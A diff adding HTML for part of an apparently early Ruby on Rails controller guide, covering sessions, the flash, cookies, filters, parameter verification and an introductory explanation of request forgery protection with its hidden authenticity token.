+<h3 id="_disabling_the_session">4.1. Disabling the Session</h3>
+<div class="para"><p>Sometimes you don't need a session. In this case, you can turn it off to avoid the unnecessary overhead. To do this, use the <tt>session</tt> class method in your controller:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
+  session <span style="color: #990000">:</span>off
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>You can also turn the session on or off for a single controller:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># The session is turned off by default in ApplicationController, but we</span></span>
+<span style="font-style: italic"><span style="color: #9A1900"># want to turn it on for log in/out.</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LoginsController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
+  session <span style="color: #990000">:</span>on
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Or even for specified actions:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ProductsController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
+  session <span style="color: #990000">:</span>on<span style="color: #990000">,</span> <span style="color: #990000">:</span>only <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>create<span style="color: #990000">,</span> <span style="color: #990000">:</span>update<span style="color: #990000">]</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h3 id="_accessing_the_session">4.2. Accessing the Session</h3>
+<div class="para"><p>In your controller you can access the session through the <tt>session</tt> instance method.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">There are two <tt>session</tt> methods, the class and the instance method. The class method which is described above is used to turn the session on and off while the instance method described below is used to access session values.</td>
+</tr></table>
+</div>
+<div class="para"><p>Session values are stored using key/value pairs like a hash:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
+
+private
+
+  <span style="font-style: italic"><span style="color: #9A1900"># Finds the User with the ID stored in the session with the key :current_user_id</span></span>
+  <span style="font-style: italic"><span style="color: #9A1900"># This is a common way to handle user login in a Rails application; logging in sets the</span></span>
+  <span style="font-style: italic"><span style="color: #9A1900"># session value and logging out removes it.</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> current_user
+    <span style="color: #009900">@_current_user</span> <span style="color: #990000">||=</span> session<span style="color: #990000">[:</span>current_user_id<span style="color: #990000">]</span> <span style="color: #990000">&amp;&amp;</span> User<span style="color: #990000">.</span>find<span style="color: #990000">(</span>session<span style="color: #990000">[:</span>current_user_id<span style="color: #990000">])</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>To store something in the session, just assign it to the key like a hash:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LoginsController <span style="color: #990000">&lt;</span> ApplicationController
+
+  <span style="font-style: italic"><span style="color: #9A1900"># "Create" a login, aka "log the user in"</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
+    <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> user <span style="color: #990000">=</span> User<span style="color: #990000">.</span>authenticate<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>username<span style="color: #990000">,</span> params<span style="color: #990000">[:</span>password<span style="color: #990000">])</span>
+      <span style="font-style: italic"><span style="color: #9A1900"># Save the user ID in the session so it can be used in subsequent requests</span></span>
+      session<span style="color: #990000">[:</span>current_user_id<span style="color: #990000">]</span> <span style="color: #990000">=</span> user<span style="color: #990000">.</span>id
+      redirect_to root_url
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>To remove something from the session, assign that key to be <tt>nil</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LoginsController <span style="color: #990000">&lt;</span> ApplicationController
+
+  <span style="font-style: italic"><span style="color: #9A1900"># "Delete" a login, aka "log the user out"</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> destroy
+    <span style="font-style: italic"><span style="color: #9A1900"># Remove the user id from the session</span></span>
+    session<span style="color: #990000">[:</span>current_user_id<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">nil</span></span>
+    redirect_to root_url
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>To reset the entire session, use <tt>reset_session</tt>.</p></div>
+<h3 id="_the_flash">4.3. The flash</h3>
+<div class="para"><p>The flash is a special part of the session which is cleared with each request. This means that values stored there will only be available in the next request, which is useful for storing error messages etc. It is accessed in much the same way as the session, like a hash. Let's use the act of logging out as an example. The controller can send a message which will be displayed to the user on the next request:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LoginsController <span style="color: #990000">&lt;</span> ApplicationController
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> destroy
+    session<span style="color: #990000">[:</span>current_user_id<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">nil</span></span>
+    flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"You have successfully logged out"</span>
+    redirect_to root_url
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>destroy</tt> action redirects to the application's <tt>root_url</tt>, where the message will be displayed. Note that it's entirely up to the next action to decide what, if anything, it will do with what the previous action put in the flash. It's conventional to display eventual errors or notices from the flash in the application's layout:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&lt;html&gt;
+  &lt;!-- &lt;head/&gt; --&gt;
+  &lt;body&gt;
+    &lt;% if flash[:notice] -%&gt;
+      &lt;p class="notice"&gt;&lt;%= flash[:notice] %&gt;&lt;/p&gt;
+    &lt;% end -%&gt;
+    &lt;% if flash[:error] -%&gt;
+      &lt;p class="error"&gt;&lt;%= flash[:error] %&gt;&lt;/p&gt;
+    &lt;% end -%&gt;
+    &lt;!-- more content --&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</tt></pre>
+</div></div>
+<div class="para"><p>This way, if an action sets an error or a notice message, the layout will display it automatically.</p></div>
+<div class="para"><p>If you want a flash value to be carried over to another request, use the <tt>keep</tt> method:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> MainController <span style="color: #990000">&lt;</span> ApplicationController
+
+  <span style="font-style: italic"><span style="color: #9A1900"># Let's say this action corresponds to root_url, but you want all requests here to be redirected to</span></span>
+  <span style="font-style: italic"><span style="color: #9A1900"># UsersController#index. If an action sets the flash and redirects here, the values would normally be</span></span>
+  <span style="font-style: italic"><span style="color: #9A1900"># lost when another redirect happens, but you can use keep to make it persist for another request.</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> index
+    flash<span style="color: #990000">.</span>keep <span style="font-style: italic"><span style="color: #9A1900"># Will persist all flash values. You can also use a key to keep only that value: flash.keep(:notice)</span></span>
+    redirect_to users_url
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h4 id="_tt_flash_now_tt">4.3.1. <tt>flash.now</tt></h4>
+<div class="para"><p>By default, adding values to the flash will make them available to the next request, but sometimes you may want to access those values in the same request. For example, if the <tt>create</tt> action fails to save a resource and you render the <tt>new</tt> template directly, that's not going to result in a new request, but you may still want to display a message using the flash. To do this, you can use <tt>flash.now</tt> in the same way you use the normal <tt>flash</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ClientsController <span style="color: #990000">&lt;</span> ApplicationController
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
+    <span style="color: #009900">@client</span> <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>new<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>client<span style="color: #990000">])</span>
+    <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@client</span><span style="color: #990000">.</span>save
+      <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
+    <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
+      flash<span style="color: #990000">.</span>now<span style="color: #990000">[:</span>error<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"Could not save client"</span>
+      render <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"new"</span>
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+</div>
+<h2 id="_cookies">5. Cookies</h2>
+<div class="sectionbody">
+<div class="para"><p>Your application can store small amounts of data on the client - called cookies - that will be persisted across requests and even sessions. Rails provides easy access to cookies via the <tt>cookies</tt> method, which - much like the <tt>session</tt> - works like a hash:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CommentsController <span style="color: #990000">&lt;</span> ApplicationController
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> new
+    <span style="font-style: italic"><span style="color: #9A1900">#Auto-fill the commenter's name if it has been stored in a cookie</span></span>
+    <span style="color: #009900">@comment</span> <span style="color: #990000">=</span> Comment<span style="color: #990000">.</span>new<span style="color: #990000">(:</span>name <span style="color: #990000">=&gt;</span> cookies<span style="color: #990000">[:</span>commenter_name<span style="color: #990000">])</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
+    <span style="color: #009900">@comment</span> <span style="color: #990000">=</span> Comment<span style="color: #990000">.</span>new<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>comment<span style="color: #990000">])</span>
+    <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@comment</span><span style="color: #990000">.</span>save
+      flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"Thanks for your comment!"</span>
+      <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> params<span style="color: #990000">[:</span>remember_name<span style="color: #990000">]</span>
+        <span style="font-style: italic"><span style="color: #9A1900"># Remember the commenter's name</span></span>
+        cookies<span style="color: #990000">[:</span>commenter_name<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #009900">@comment</span><span style="color: #990000">.</span>name
+      <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
+        <span style="font-style: italic"><span style="color: #9A1900"># Don't remember, and delete the name if it has been remembered before</span></span>
+        cookies<span style="color: #990000">.</span>delete<span style="color: #990000">(:</span>commenter_name<span style="color: #990000">)</span>
+      <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+      redirect_to <span style="color: #009900">@comment</span><span style="color: #990000">.</span>article
+    <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
+      render <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"new"</span>
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Note that while for session values, you set the key to <tt>nil</tt>, to delete a cookie value, you should use <tt>cookies.delete(:key)</tt>.</p></div>
+</div>
+<h2 id="_filters">6. Filters</h2>
+<div class="sectionbody">
+<div class="para"><p>Filters are methods that are run before, after or "around" a controller action. For example, one filter might check to see if the logged in user has the right credentials to access that particular controller or action. Filters are inherited, so if you set a filter on ApplicationController, it will be run on every controller in your application. A common, simple filter is one which requires that a user is logged in for an action to be run. You can define the filter method this way:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
+
+private
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> require_login
+    <span style="font-weight: bold"><span style="color: #0000FF">unless</span></span> logged_in?
+      flash<span style="color: #990000">[:</span>error<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"You must be logged in to access this section"</span>
+      redirect_to new_login_url <span style="font-style: italic"><span style="color: #9A1900"># Prevents the current action from running</span></span>
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-style: italic"><span style="color: #9A1900"># The logged_in? method simply returns true if the user is logged in and</span></span>
+  <span style="font-style: italic"><span style="color: #9A1900"># false otherwise. It does this by "booleanizing" the current_user method</span></span>
+  <span style="font-style: italic"><span style="color: #9A1900"># we created previously using a double ! operator. Note that this is not</span></span>
+  <span style="font-style: italic"><span style="color: #9A1900"># common in Ruby and is discouraged unless you really mean to convert something</span></span>
+  <span style="font-style: italic"><span style="color: #9A1900"># into true or false.</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> logged_in?
+    <span style="color: #990000">!!</span>current_user
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The method simply stores an error message in the flash and redirects to the login form if the user is not logged in. If a before filter (a filter which is run before the action) renders or redirects, the action will not run. If there are additional filters scheduled to run after the rendering or redirecting filter, they are also cancelled. To use this filter in a controller, use the <tt>before_filter</tt> method:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
+
+  before_filter <span style="color: #990000">:</span>require_login
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>In this example, the filter is added to ApplicationController and thus all controllers in the application. This will make everything in the application require the user to be logged in in order to use it. For obvious reasons (the user wouldn't be able to log in in the first place!), not all controllers or actions should require this. You can prevent this filter from running before particular actions with <tt>skip_before_filter</tt> :</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LoginsController <span style="color: #990000">&lt;</span> Application
+
+  skip_before_filter <span style="color: #990000">:</span>require_login<span style="color: #990000">,</span> <span style="color: #990000">:</span>only <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>new<span style="color: #990000">,</span> <span style="color: #990000">:</span>create<span style="color: #990000">]</span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Now, the <tt>LoginsController</tt>'s "new" and "create" actions will work as before without requiring the user to be logged in. The <tt>:only</tt> option is used to only skip this filter for these actions, and there is also an <tt>:except</tt> option which works the other way. These options can be used when adding filters too, so you can add a filter which only runs for selected actions in the first place.</p></div>
+<h3 id="_after_filters_and_around_filters">6.1. After Filters and Around Filters</h3>
+<div class="para"><p>In addition to the before filters, you can run filters after an action has run or both before and after. The after filter is similar to the before filter, but because the action has already been run it has access to the response data that's about to be sent to the client. Obviously, after filters can not stop the action from running. Around filters are responsible for running the action, but they can choose not to, which is the around filter's way of stopping it.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># Example taken from the Rails API filter documentation:</span></span>
+<span style="font-style: italic"><span style="color: #9A1900"># http://api.rubyonrails.org/classes/ActionController/Filters/ClassMethods.html</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000">&lt;</span> Application
+
+  around_filter <span style="color: #990000">:</span>catch_exceptions
+
+private
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> catch_exceptions
+    <span style="font-weight: bold"><span style="color: #0000FF">yield</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">rescue</span></span> <span style="color: #990000">=&gt;</span> exception
+    logger<span style="color: #990000">.</span>debug <span style="color: #FF0000">"Caught exception! #{exception}"</span>
+    <span style="font-weight: bold"><span style="color: #0000FF">raise</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h3 id="_other_ways_to_use_filters">6.2. Other Ways to Use Filters</h3>
+<div class="para"><p>While the most common way to use filters is by creating private methods and using *_filter to add them, there are two other ways to do the same thing.</p></div>
+<div class="para"><p>The first is to use a block directly with the *_filter methods. The block receives the controller as an argument, and the <tt>require_login</tt> filter from above could be rewritten to use a block:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
+
+  before_filter <span style="color: #FF0000">{</span> <span style="color: #990000">|</span>controller<span style="color: #990000">|</span> redirect_to new_login_url <span style="font-weight: bold"><span style="color: #0000FF">unless</span></span> controller<span style="color: #990000">.</span>send<span style="color: #990000">(:</span>logged_in?<span style="color: #990000">)</span> <span style="color: #FF0000">}</span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Note that the filter in this case uses <tt>send</tt> because the <tt>logged_in?</tt> method is private and the filter is not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in more simple cases it might be useful.</p></div>
+<div class="para"><p>The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex than can not be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
+
+  before_filter LoginFilter
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LoginFilter
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>filter<span style="color: #990000">(</span>controller<span style="color: #990000">)</span>
+    <span style="font-weight: bold"><span style="color: #0000FF">unless</span></span> logged_in?
+      controller<span style="color: #990000">.</span>flash<span style="color: #990000">[:</span>error<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"You must be logged in to access this section"</span>
+      controller<span style="color: #990000">.</span>redirect_to controller<span style="color: #990000">.</span>new_login_url
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Again, this is not an ideal example for this filter, because it's not run in the scope of the controller but gets the controller passed as an argument. The filter class has a class method <tt>filter</tt> which gets run before or after the action, depending on if it's a before or after filter. Classes used as around filters can also use the same <tt>filter</tt> method, which will get run in the same way. The method must <tt>yield</tt> to execute the action. Alternatively, it can have both a <tt>before</tt> and an <tt>after</tt> method that are run before and after the action.</p></div>
+<div class="para"><p>The Rails API documentation has <a href="http://api.rubyonrails.org/classes/ActionController/Filters/ClassMethods.html">more information on using filters</a>.</p></div>
+</div>
+<h2 id="_verification">7. Verification</h2>
+<div class="sectionbody">
+<div class="para"><p>Verifications make sure certain criteria are met in order for a controller or action to run. They can specify that a certain key (or several keys in the form of an array) is present in the <tt>params</tt>, <tt>session</tt> or <tt>flash</tt> hashes or that a certain HTTP method was used or that the request was made using XMLHTTPRequest (Ajax). The default action taken when these criteria are not met is to render a 400 Bad Request response, but you can customize this by specifying a redirect URL or rendering something else and you can also add flash messages and HTTP headers to the response. It is described in the <a href="http://api.rubyonrails.org/classes/ActionController/Verification/ClassMethods.html">API documentation</a> as "essentially a special kind of before_filter".</p></div>
+<div class="para"><p>Here's an example of using verification to make sure the user supplies a username and a password in order to log in:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LoginsController <span style="color: #990000">&lt;</span> ApplicationController
+
+  verify <span style="color: #990000">:</span>params <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>username<span style="color: #990000">,</span> <span style="color: #990000">:</span>password<span style="color: #990000">],</span>
+         <span style="color: #990000">:</span>render <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"new"</span><span style="color: #FF0000">}</span><span style="color: #990000">,</span>
+         <span style="color: #990000">:</span>add_flash <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>error <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Username and password required to log in"</span><span style="color: #FF0000">}</span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
+    <span style="color: #009900">@user</span> <span style="color: #990000">=</span> User<span style="color: #990000">.</span>authenticate<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>username<span style="color: #990000">],</span> params<span style="color: #990000">[:</span>password<span style="color: #990000">])</span>
+    <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@user</span>
+      flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"You're logged in"</span>
+      redirect_to root_url
+    <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
+      render <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"new"</span>
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Now the <tt>create</tt> action won't run unless the "username" and "password" parameters are present, and if they're not, an error message will be added to the flash and the "new" action will be rendered. But there's something rather important missing from the verification above: It will be used for <strong>every</strong> action in LoginsController, which is not what we want. You can limit which actions it will be used for with the <tt>:only</tt> and <tt>:except</tt> options just like a filter:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LoginsController <span style="color: #990000">&lt;</span> ApplicationController
+
+  verify <span style="color: #990000">:</span>params <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>username<span style="color: #990000">,</span> <span style="color: #990000">:</span>password<span style="color: #990000">],</span>
+         <span style="color: #990000">:</span>render <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"new"</span><span style="color: #FF0000">}</span><span style="color: #990000">,</span>
+         <span style="color: #990000">:</span>add_flash <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>error <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Username and password required to log in"</span><span style="color: #FF0000">}</span><span style="color: #990000">,</span>
+         <span style="color: #990000">:</span>only <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>create <span style="font-style: italic"><span style="color: #9A1900"># Only run this verification for the "create" action</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+</div>
+<h2 id="_request_forgery_protection">8. Request Forgery Protection</h2>
+<div class="sectionbody">
+<div class="para"><p>Cross-site request forgery is a type of attack in which a site tricks a user into making requests on another site, possibly adding, modifying or deleting data on that site without the user's knowledge or permission. The first step to avoid this is to make sure all "destructive" actions (create, update and destroy) can only be accessed with non-GET requests. If you're following RESTful conventions you're already doing this. However, a malicious site can still send a non-GET request to your site quite easily, and that's where the request forgery protection comes in. As the name says, it protects from forged requests. The way this is done is to add a non-guessable token which is only known to your server to each request. This way, if a request comes in without the proper token, it will be denied access.</p></div>
+<div class="para"><p>If you generate a form like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;% form_for @user do |f| -%&gt;</span>
+  <span style="color: #FF0000">&lt;%= f.text_field :username %&gt;</span>
+  <span style="color: #FF0000">&lt;%= f.text_field :password -%&gt;</span>
+<span style="color: #FF0000">&lt;% end -%&gt;</span>
+</tt></pre></div></div>
+<div class="para"><p>You will see how the token gets added as a hidden field:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;form</span></span> <span style="color: #009900">action</span><span style="color: #990000">=</span><span style="color: #FF0000">"/users/1"</span> <span style="color: #009900">method</span><span style="color: #990000">=</span><span style="color: #FF0000">"post"</span><span style="font-weight: bold"><span style="color: #0000FF">&gt;</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">&lt;div&gt;</span></span><span style="font-style: italic"><span style="color: #9A1900">&lt;!-- ... --&gt;</span></span><span style="font-weight: bold"><span style="color: #0000FF">&lt;input</span></span> <span style="color: #009900">type</span><span style="color: #990000">=</span><span style="color: #FF0000">"hidden"</span> <span style="color: #009900">value</span><span style="color: #990000">=</span><span style="color: #FF0000">"67250ab105eb5ad10851c00a5621854a23af5489"</span> <span style="color: #009900">name</span><span style="color: #990000">=</span><span style="color: #FF0000">"authenticity_token"</span><span style="font-weight: bold"><span style="color: #0000FF">/&gt;&lt;/div&gt;</span></span>
+<span style="font-style: italic"><span style="color: #9A1900">&lt;!-- Fields --&gt;</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">&lt;/form&gt;</span></span>
+</tt></pre></div></div>
